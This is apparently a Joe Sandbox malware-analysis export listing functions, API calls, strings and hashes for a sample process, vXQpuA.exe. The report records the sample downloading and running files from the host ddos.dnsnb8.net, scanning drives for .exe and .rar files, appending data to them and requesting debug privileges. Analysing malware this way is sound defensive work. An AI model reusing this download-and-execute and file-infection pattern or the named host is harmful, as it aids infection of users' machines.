Opcode Fuzzy Hash: 0ee248c0cb2eda5c229afa95536b12b44088d1c0097e99c1b334b64d8187dd6f
Instruction Fuzzy Hash: AD413571900209AFCF16DF98C881AAEBBF5FF49304F198199F904AA261D335EE50DB51

Function 00339AE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00339B2E
_Allocate.LIBCONCRTD ref: 00339B42

Strings

863, xrefs: 00339B87

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AllocateConcurrency::cancel_current_task
String ID: 863
API String ID: 806954194-3824524633
Opcode ID: 64e35e075492f13ee1684285b83e23fba8a1a55d921d896b448104365721c70b
Instruction ID: cb1b25922d74a3f46533ad6c1f62a2542b8fe4fd8fa44a1accb9610b3f8a397f
Opcode Fuzzy Hash: 64e35e075492f13ee1684285b83e23fba8a1a55d921d896b448104365721c70b
Instruction Fuzzy Hash: 85418FB5D052089FCB05DFA9D481ADEBBF5FB48310F10822AE815AB394D774A945CF94

Function 00353D47 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00353D75
_free.LIBCMT ref: 00353D9B

Strings

(6, xrefs: 00353E02

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: _free
String ID: (6
API String ID: 269201875-3915136759
Opcode ID: 0c2f118e5bf29065b21aa06590513d540127bfed78110a0adde84c47a4160c1e
Instruction ID: b9765bb4dc34f7fa8790d9d079e76462dcc32f7c0eb2b7c3b06c0304d697d385
Opcode Fuzzy Hash: 0c2f118e5bf29065b21aa06590513d540127bfed78110a0adde84c47a4160c1e
Instruction Fuzzy Hash: 9311E672A043009FD7229B28BC41F5533F9A701775F154636FD20CB1F1D3B0D94A8A41

Function 00349348 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0034938C
___raise_securityfailure.LIBCMT ref: 00349473

Strings

H6, xrefs: 0034946E

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: H6
API String ID: 3761405300-1886276026
Opcode ID: a7236794d61280221f0e7649c1f16176bbc9656232de5e99110684dfe2b7c491
Instruction ID: 5e8aaf82fa2a7d80e831d4ec923f81a08491ab52442bcc52fda77303123a2c60
Opcode Fuzzy Hash: a7236794d61280221f0e7649c1f16176bbc9656232de5e99110684dfe2b7c491
Instruction Fuzzy Hash: 4221C2BD510204DAE717CF19E986B447BE8BB08314F14C42AE90A8B2B0EBF0688DCF55

Function 003131B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000001), ref: 003131F0
GetLastError.KERNEL32 ref: 003131FF

Strings

$, xrefs: 0031321A

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID: AttributesErrorFileLast
String ID: $
API String ID: 1799206407-3993045852
Opcode ID: 1ff553679473319bf00e73147e12cb811880c602c7c82da3cf367486e38e5db4
Instruction ID: 244401a5f92a7fa171c89b40442ddc40d413fc6c39852d4e643d00b231412cbc
Opcode Fuzzy Hash: 1ff553679473319bf00e73147e12cb811880c602c7c82da3cf367486e38e5db4
Instruction Fuzzy Hash: 2911E574C0820DEBCF2AEFA4E8481EDBB74AB0E315F1199A9D81267240D2355BC6DF91

Function 003578E8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,00357B59,?,?,#5,00350D23,?), ref: 00357913
GetACP.KERNEL32(00000000,00357B59,?,?,#5,00350D23,?), ref: 0035792A

Strings

#5, xrefs: 003578EA

Memory Dump Source

Source File: 00000000.00000002.3286192538.0000000000311000.00000020.00000001.01000000.00000003.sdmp, Offset: 00310000, based on PE: true

Associated: 00000000.00000002.3286147238.0000000000310000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286289686.0000000000363000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286334177.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286371153.0000000000370000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286423984.0000000000374000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3286471868.0000000000375000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_310000_611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.jbxd

Yara matches

Similarity

API ID:
String ID: #5
API String ID: 0-643275717
Opcode ID: 2520d96abb974920db6b1e849c440923f20602f3b7657c64b35b81de7b930f4a
Instruction ID: c84ea5e3bb711c5047b93ce6f194a1c918648027568913f49b09ac5d28ff8157
Opcode Fuzzy Hash: 2520d96abb974920db6b1e849c440923f20602f3b7657c64b35b81de7b930f4a
Instruction Fuzzy Hash: ADF06D304042048FDB12DF68E858BA877B9BB4233AF644345E966CA5F1D7B19E49CB54

Analysis Process: vXQpuA.exePID: 5064, Parent PID: 3792COMMON

Execution Graph

Execution Coverage:	31.2%
Dynamic/Decrypted Code Coverage:	5%
Signature Coverage:	15.4%
Total number of Nodes:	279
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006129E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00612A02
wsprintfA.USER32 ref: 00612A1A
memset.MSVCRT ref: 00612A44
lstrlen.KERNEL32(?), ref: 00612A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 00612A6C
strrchr.MSVCRT ref: 00612A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00612A9F
lstrlen.KERNEL32(Documents and Settings), ref: 00612AAE
memset.MSVCRT ref: 00612AC6
memset.MSVCRT ref: 00612ADA
FindFirstFileA.KERNELBASE(?,?), ref: 00612AEF
memset.MSVCRT ref: 00612B13
lstrcmpiA.KERNEL32(?,?), ref: 00612B42
FindNextFileA.KERNELBASE(00000000,?,?,?,?), ref: 00612B67
FindClose.KERNELBASE(00000000), ref: 00612B6E

Strings

Documents and Settings, xrefs: 00612A8D, 00612A92, 00612A9A, 00612AAD
%s*, xrefs: 00612A14
C:\, xrefs: 00612A2F

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: c28782c76d0151406301db8eb819f0bcfa0fda903783e04df2321965597381b4
Instruction ID: 36a9edbd0ef466ab30e62cd0397264d21bed5f24fd678e045e9ef842dd68c828
Opcode Fuzzy Hash: c28782c76d0151406301db8eb819f0bcfa0fda903783e04df2321965597381b4
Instruction Fuzzy Hash: 2C4186B240434AAFD720DFA0DC89DDB77EDEB84315F08482AF545D3211E634D69887A6

Function 00611099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0061185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A78400,http://%s:%d/%s/%s,?,?,?,00611118), ref: 00611867
Part of subcall function 0061185B: srand.MSVCRT ref: 00611878
Part of subcall function 0061185B: rand.MSVCRT ref: 00611880
Part of subcall function 0061185B: srand.MSVCRT ref: 00611890
Part of subcall function 0061185B: rand.MSVCRT ref: 00611894

WinExec.KERNEL32(?,00000005), ref: 006110F1
lstrlen.KERNEL32(00614748), ref: 006110FA
wsprintfA.USER32 ref: 0061112A
wsprintfA.USER32 ref: 00611143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0061115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00611169
Sleep.KERNELBASE ref: 00611179

Strings

cj/, xrefs: 00611135
C:\Users\user\AppData\Local\Temp\, xrefs: 00611119
%s%.8X.exe, xrefs: 00611124
HGa, xrefs: 0061112C
http://%s:%d/%s/%s, xrefs: 006110C2, 00611141
ddos.dnsnb8.net, xrefs: 006110C8, 006110CF, 00611140, 00611168

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HGa$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-3133690350
Opcode ID: dd811f5023a791330159270864cd53e628209eaa8919bc64cd325d1460f8777b
Instruction ID: 4955d13efe3e3bd299cfcc4b9f6dcdb8bf949d15c8c180b90fe6533efed0e477
Opcode Fuzzy Hash: dd811f5023a791330159270864cd53e628209eaa8919bc64cd325d1460f8777b
Instruction Fuzzy Hash: C421A175900218BACB20DBA0DC45BEEBBBFAB16316F1D8096E601A7150DB745BC4CFA0

Function 00611718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 00611729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 0061174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 0061177C
__aulldiv.LIBCMT ref: 00611796
__aulldiv.LIBCMT ref: 006117A8

Strings

Time, xrefs: 0061173D, 00611766
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 00611722
SOFTWARE\GTplus, xrefs: 00611742, 0061176B

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\vXQpuA.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-2972129706
Opcode ID: 53d6569b406a5c48a8f7f71cef2960f4751b77c2b8bd2883aedb7160c65e90b9
Instruction ID: 6bc131a6a4fe29481fbab03d04caf538678dbf6b995c0e8f1b879f62585c7812
Opcode Fuzzy Hash: 53d6569b406a5c48a8f7f71cef2960f4751b77c2b8bd2883aedb7160c65e90b9
Instruction Fuzzy Hash: 9E115B75A00219BBDF109B94CC86FEF7BBEEB45B14F148115FA01F6380D6719A84C764

Function 00616076 Relevance: 11.1, APIs: 7, Instructions: 616
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00001800,00001000,00000004), ref: 006160BE
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,?,?,?), ref: 006160DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 00616189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 006161A5

Memory Dump Source

Source File: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 02dc5fe221819462dfd5e064bdceb7b5f392faf15b45c933a697e7e25efb7faa
Instruction ID: bd72c008df2b22384575577a27fc67ead3e1937aa41c4a1304f0da879fa0050a
Opcode Fuzzy Hash: 02dc5fe221819462dfd5e064bdceb7b5f392faf15b45c933a697e7e25efb7faa
Instruction Fuzzy Hash: 741245B65087859FDB32CF64CC45BEA3BB2EF02310F1C45ADE8898B293D674A981C755

Function 00612B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00612BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 00612BB4
GetDriveTypeA.KERNELBASE(?), ref: 00612BD3
CreateThread.KERNELBASE(00000000,00000000,Function_00002B7D,?,00000000,00000000), ref: 00612BEE
lstrlen.KERNEL32(?), ref: 00612BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 00612C16
CreateThread.KERNEL32(00000000,00000000,00612845,00000000,00000000,00000000), ref: 00612C3A

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: f7e84ee5a88acd26e701878d9f84075548c5d70e74a725a1a5055a977728831a
Instruction ID: f267273a0d1b7a750d8bf8fbafc0be1d5d27e687dc2846714e68709378deae18
Opcode Fuzzy Hash: f7e84ee5a88acd26e701878d9f84075548c5d70e74a725a1a5055a977728831a
Instruction Fuzzy Hash: 8421D5B180015EAFEB209F64AC84DEF7BAFFB08349B1D012AF94293251D7208D56CB60

Function 00611E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNELBASE(?,00000080,?,006132B0,00000164,00612986,?), ref: 00611EB9
CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 00611ECD
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 00611EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 00611F07
MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000400), ref: 00611F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 0061201E
memset.MSVCRT ref: 006120D8
memset.MSVCRT ref: 006120EA
memcpy.MSVCRT ref: 0061222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00612238
CloseHandle.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0061224A
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006122C6
SetEndOfFile.KERNELBASE(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006122CB
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006122DD
WriteFile.KERNELBASE(000000FF,00614008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 006122F7
WriteFile.KERNELBASE(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 0061230D
CloseHandle.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 00612322
UnmapViewOfFile.KERNEL32(?,?,006132B0,00000164,00612986,?), ref: 00612340
FindCloseChangeNotification.KERNELBASE(?,?,006132B0,00000164,00612986,?), ref: 0061234E
FindCloseChangeNotification.KERNELBASE(000000FF,?,006132B0,00000164,00612986,?), ref: 00612359

Strings

5@a, xrefs: 00612282
m@a, xrefs: 00611E8F, 0061225A
C@a, xrefs: 0061229E
.@a, xrefs: 00612274
<@a, xrefs: 00612290

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$CloseView$Pointer$ChangeCreateFindHandleNotificationUnmapWritememset$AttributesFlushMappingmemcpy
String ID: .@a$5@a$<@a$C@a$m@a
API String ID: 3349749541-1651383129
Opcode ID: 26bde03b186d386a4bf17692afa123f40b2a73d85586f3756303b0ea8b6f58fd
Instruction ID: 60dbcdbf8ec51ff9aee45437fd1cecdc0a1dbe02c7ea0e803346bb045ac9bd97
Opcode Fuzzy Hash: 26bde03b186d386a4bf17692afa123f40b2a73d85586f3756303b0ea8b6f58fd
Instruction Fuzzy Hash: F9F16E71900209EFCB20DFA4DC91AEDBBB6FF08314F18852AE519AB651D734AE91CF54

Function 00611973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.KERNELBASE(\Na`Na,00000000,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 00611992
CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 006119BA
Sleep.KERNEL32(00000064), ref: 006119C6
wsprintfA.USER32 ref: 006119EC
CopyFileA.KERNEL32(?,?,00000000), ref: 00611A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00611A1E
GetFileSize.KERNEL32(?,00000000), ref: 00611A2C
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004), ref: 00611A46
ReadFile.KERNELBASE(?,?,00000000,?,00000000), ref: 00611A65
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00611A90
DeleteFileA.KERNEL32(?), ref: 00611AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00611AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006119DB
\Na`Na, xrefs: 00611980
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 0061197C
%s%.8X.data, xrefs: 006119E6

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\vXQpuA.exe$\Na`Na
API String ID: 2523042076-2794851130
Opcode ID: 723bc10770dbc7640d11d3b3a95c653e58e9c0e0595209fa176e3abfed372a8d
Instruction ID: c67cb0a00aa23ca64eefc02f62e4814ed13199dc0dcdaf5fa232a6df2ff84f2b
Opcode Fuzzy Hash: 723bc10770dbc7640d11d3b3a95c653e58e9c0e0595209fa176e3abfed372a8d
Instruction Fuzzy Hash: AF515271901259EFCF109F94CC84AEEBFBAEF0A355F184569F616EA290D3309E90CB50

Function 006128B8 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 100
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 006128D3
wsprintfA.USER32 ref: 006128F7
memset.MSVCRT ref: 00612925
wsprintfA.USER32 ref: 00612940

Part of subcall function 006129E2: memset.MSVCRT ref: 00612A02
Part of subcall function 006129E2: wsprintfA.USER32 ref: 00612A1A
Part of subcall function 006129E2: memset.MSVCRT ref: 00612A44
Part of subcall function 006129E2: lstrlen.KERNEL32(?), ref: 00612A54
Part of subcall function 006129E2: lstrcpyn.KERNEL32(?,?,-00000001), ref: 00612A6C
Part of subcall function 006129E2: strrchr.MSVCRT ref: 00612A7C
Part of subcall function 006129E2: lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 00612A9F
Part of subcall function 006129E2: lstrlen.KERNEL32(Documents and Settings), ref: 00612AAE
Part of subcall function 006129E2: memset.MSVCRT ref: 00612AC6
Part of subcall function 006129E2: memset.MSVCRT ref: 00612ADA
Part of subcall function 006129E2: FindFirstFileA.KERNELBASE(?,?), ref: 00612AEF
Part of subcall function 006129E2: memset.MSVCRT ref: 00612B13

strrchr.MSVCRT ref: 00612959
lstrcmpiA.KERNEL32(00000001,exe), ref: 00612974

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 006129B3
%s%s, xrefs: 006128F1
rar, xrefs: 00612988
exe, xrefs: 0061296D
%s\, xrefs: 0061293A

Memory Dump Source

Source File: 00000001.00000002.2257346189.0000000000611000.00000020.00000001.01000000.00000004.sdmp, Offset: 00610000, based on PE: true

Associated: 00000001.00000002.2257326966.0000000000610000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257378022.0000000000614000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2257393688.0000000000616000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_610000_vXQpuA.jbxd

Similarity

API ID: memset$wsprintf$lstrcmpilstrlenstrrchr$FileFindFirstlstrcpyn
String ID: %s%s$%s\$C:\Users\user\AppData\Local\Temp\$exe$rar
API String ID: 3004273771-898104377
Opcode ID: b9da12d2179268b1e9b2c205e1aed13a02f8a5df0e69e32eb4baba4201895df4
Instruction ID: 6532814002a54596f2e8f6136d3fece380a265a67b8f33b3481bffbe38b7bad2
Opcode Fuzzy Hash: b9da12d2179268b1e9b2c205e1aed13a02f8a5df0e69e32eb4baba4201895df4
Instruction Fuzzy Hash: 5B31EA7194031E7BDB20A76ADC95FCA37AE9F14310F0D0857F545A3280E6B4DBD48BA0

Function 00611638 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 70
stringsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,C:\Users\user\AppData\Local\Temp\,?,00000005,00000000), ref: 0061164F
GetSystemDirectoryA.KERNEL32(C:\Windows\system32,00000104), ref: 0061165B
GetModuleFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\vXQpuA.exe,00000104), ref: 0061166E
CreateThread.KERNELBASE(00000000,00000000,Function_00001099,00000000,00000000,00000000), ref: 006116AC
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000), ref: 006116BD

Part of subcall function 0061139F: GetVersionExA.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 006113BC
Part of subcall function 0061139F: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 006113DA
Part of subcall function 0061139F: GetCurrentProcessId.KERNEL32(-00000094,0000000C,0000000C,00000001), ref: 00611448

lstrcpy.KERNEL32(?,C:\Users\user\AppData\Local\Temp\vXQpuA.exe), ref: 006116E5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00611644
Documents and Settings, xrefs: 00611696
C:\Users\user\AppData\Local\Temp\vXQpuA.exe, xrefs: 00611662, 00611667, 006116DD
